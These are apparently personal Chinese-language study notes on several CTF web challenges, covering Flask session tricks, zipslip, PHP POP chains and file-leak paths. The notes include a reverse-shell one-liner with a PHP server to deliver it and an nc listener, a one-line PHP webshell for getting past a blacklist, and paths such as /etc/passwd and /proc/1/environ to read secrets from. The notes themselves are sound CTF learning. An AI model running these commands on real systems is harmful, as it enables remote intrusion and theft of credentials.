    # index.html或者kc1zsa4.sh
    bash -c "bash -i >& /dev/tcp/xxx/xxx 0>&1"
    php -S 0.0.0.0:xxx kc1zs4.sh
    nc -lvvp xxx

Summary

SU_blog总结

[https://blog.lxscloud.top/2022/10/09/CTF%E4%B8%ADPython_Flask%E5%BA%94%E7%94%A8%E7%9A%84%E4%B8%80%E4%BA%9B%E8%A7%A3%E9%A2%98%E6%96%B9%E6%B3%95%E6%80%BB%E7%BB%93/]

  • 敏感文件泄露
  • flask session机制
  • 反弹shell
  • 这里路径的拼接怎么办

还是需要再敏感一点的,pydash首先考虑,ssti没理解到位

  1. /etc/passwd
  2. apache,nginx配置文件获取运行目录
  3. /proc目录
    1. /proc/1/environ
    2. /proc/self/cmdline
    3. [https://blog.csdn.net/cosmoslin/article/details/122660083]
  4. 日志文件

SU_photogallery总结

  • http上传文件
  • python上传文件
  • python生成文件
  • zipslip
  1. 一个思想是安全漏洞和版本与环境是紧密相关,还是要足够发散和细心
  2. 复现不出来可以看看解释,找到的文章里就有,不要太急急急
  3. 列idea是一个好习惯啊,安全与**错误返回和错误不返回(逻辑漏洞)**也是息息相关的
  4. 绕黑名单的传入思想是不错的: <?php ($_GET['kc1zs4'])($_POST['kc1zs4']);
  5. 这一题还有一个意识,条件竞争再测试环境下不太行

SU_POP总结

  • $this -> $name$this -> name
  • 这里Response.php中的stream怎么办
  • 补充一点php命名空间的学习,顺便梳理清除一下php的session和file upload这些内容吧,还有变量类型是什么鬼
  1. 这种类型题目复现先理解链子后再手动找,不然卡到啥的要复现很久
  2. 官方的pop链也可以看看,有点意思,只有三环